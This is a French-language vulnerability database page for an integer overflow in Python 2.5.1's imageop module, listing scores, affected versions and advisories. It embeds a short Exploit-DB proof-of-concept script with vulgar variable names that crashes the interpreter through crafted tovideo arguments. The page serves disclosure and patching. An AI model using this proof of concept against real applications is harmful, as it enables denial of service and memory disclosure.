Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
Multiple integer overflows in the imageop module in Python 2.5.1 and earlier allow context-dependent attackers to cause a denial of service (application crash) and possibly obtain sensitive information (memory contents) via crafted arguments to (1) the tovideo method, and unspecified other vectors related to (2) imageop.c, (3) rbgimgmodule.c, and other files, which trigger heap-based buffer overflows.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Integer Overflow or Wraparound The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 5.8 | AV:N/AC:M/Au:N/C:P/I:N/A:P | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 30592
Date de publication : 2007-09-16 22h00 +00:00
Auteur : Slythers Bro
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/25696/info
Python's imageop module is prone to multiple integer-overflow vulnerabilities because it fails to properly bounds-check user-supplied input to ensure that integer operations do not overflow.
To successfully exploit these issues, an attacker must be able to control the arguments to imageop functions. Remote attackers may be able to do this, depending on the nature of applications that use the vulnerable functions.
Attackers would likely submit invalid or specially crafted images to applications that perform imageop operations on the data.
A successful exploit may allow attacker-supplied machine code to run in the context of affected applications, facilitating the remote compromise of computers.
#!/usr/bin/python
import imageop
sexshit = "a"*1603
evil = "p"*5241
connard = "s"*2000
supaire= "45"*65
print supaire
connard = "cool"
salope = "suceuse"
dtc = imageop.tovideo(sexshit,1,4461,-2147002257)
sexshit = "dtc"*52
print connard,supaire," fin de dump"
Products Mentioned
Configuraton 0
Python>>Python >> Version To (including) 2.5.1
- Python>>Python >> Version - (Open CPE detail)
- Python>>Python >> Version 0.9.0 (Open CPE detail)
- Python>>Python >> Version 0.9.1 (Open CPE detail)
- Python>>Python >> Version 0.9.8 (Open CPE detail)
- Python>>Python >> Version 0.9.9 (Open CPE detail)
- Python>>Python >> Version 1.0.1 (Open CPE detail)
- Python>>Python >> Version 1.0.2 (Open CPE detail)
- Python>>Python >> Version 1.1 (Open CPE detail)
- Python>>Python >> Version 1.1.1 (Open CPE detail)
- Python>>Python >> Version 1.2 (Open CPE detail)
- Python>>Python >> Version 1.3 (Open CPE detail)
- Python>>Python >> Version 1.4 (Open CPE detail)
- Python>>Python >> Version 1.5 (Open CPE detail)
- Python>>Python >> Version 1.5.1 (Open CPE detail)
- Python>>Python >> Version 1.5.2 (Open CPE detail)
- Python>>Python >> Version 1.6 (Open CPE detail)
- Python>>Python >> Version 1.6.1 (Open CPE detail)
- Python>>Python >> Version 2.0 (Open CPE detail)
- Python>>Python >> Version 2.0.1 (Open CPE detail)
- Python>>Python >> Version 2.1 (Open CPE detail)
- Python>>Python >> Version 2.1.1 (Open CPE detail)
- Python>>Python >> Version 2.1.2 (Open CPE detail)
- Python>>Python >> Version 2.1.3 (Open CPE detail)
- Python>>Python >> Version 2.2 (Open CPE detail)
- Python>>Python >> Version 2.2.0 (Open CPE detail)
- Python>>Python >> Version 2.2.1 (Open CPE detail)
- Python>>Python >> Version 2.2.2 (Open CPE detail)
- Python>>Python >> Version 2.2.3 (Open CPE detail)
- Python>>Python >> Version 2.3 (Open CPE detail)
- Python>>Python >> Version 2.3.0 (Open CPE detail)
- Python>>Python >> Version 2.3.1 (Open CPE detail)
- Python>>Python >> Version 2.3.2 (Open CPE detail)
- Python>>Python >> Version 2.3.3 (Open CPE detail)
- Python>>Python >> Version 2.3.4 (Open CPE detail)
- Python>>Python >> Version 2.3.5 (Open CPE detail)
- Python>>Python >> Version 2.3.6 (Open CPE detail)
- Python>>Python >> Version 2.3.7 (Open CPE detail)
- Python>>Python >> Version 2.4 (Open CPE detail)
- Python>>Python >> Version 2.4.0 (Open CPE detail)
- Python>>Python >> Version 2.4.1 (Open CPE detail)
- Python>>Python >> Version 2.4.2 (Open CPE detail)
- Python>>Python >> Version 2.4.3 (Open CPE detail)
- Python>>Python >> Version 2.4.4 (Open CPE detail)
- Python>>Python >> Version 2.4.5 (Open CPE detail)
- Python>>Python >> Version 2.4.6 (Open CPE detail)
- Python>>Python >> Version 2.5 (Open CPE detail)
- Python>>Python >> Version 2.5.0 (Open CPE detail)
- Python>>Python >> Version 2.5.1 (Open CPE detail)
Références
http://lists.vmware.com/pipermail/security-announce/2008/000005.html
Tags : mailing-list, x_refsource_MLIST
Tags : mailing-list, x_refsource_MLIST
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A8496
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A8486
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
http://lists.apple.com/archives/security-announce/2009/Feb/msg00000.html
Tags : vendor-advisory, x_refsource_APPLE
Tags : vendor-advisory, x_refsource_APPLE
https://www.redhat.com/archives/fedora-package-announce/2007-October/msg00378.html
Tags : vendor-advisory, x_refsource_FEDORA
Tags : vendor-advisory, x_refsource_FEDORA
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10804
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
http://lists.grok.org.uk/pipermail/full-disclosure/2007-September/065826.html
Tags : mailing-list, x_refsource_FULLDISC
Tags : mailing-list, x_refsource_FULLDISC
http://www.securityfocus.com/archive/1/488457/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
http://lists.apple.com/archives/security-announce/2007/Dec/msg00002.html
Tags : vendor-advisory, x_refsource_APPLE
Tags : vendor-advisory, x_refsource_APPLE
http://www.securityfocus.com/archive/1/507985/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.gentoo.org/security/en/glsa/glsa-200711-07.xml
Tags : vendor-advisory, x_refsource_GENTOO
Tags : vendor-advisory, x_refsource_GENTOO
http://www.mandriva.com/security/advisories?name=MDVSA-2008:012
Tags : vendor-advisory, x_refsource_MANDRIVA
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.securityfocus.com/archive/1/487990/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.mandriva.com/security/advisories?name=MDVSA-2008:013
Tags : vendor-advisory, x_refsource_MANDRIVA
Tags : vendor-advisory, x_refsource_MANDRIVA
http://lists.opensuse.org/opensuse-security-announce/2008-02/msg00003.html
Tags : vendor-advisory, x_refsource_SUSE
Tags : vendor-advisory, x_refsource_SUSE
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC)
sont maintenues par MITRE Corporation, et les informations sur les configurations
logicielles et matérielles (CPE) proviennent du NVD.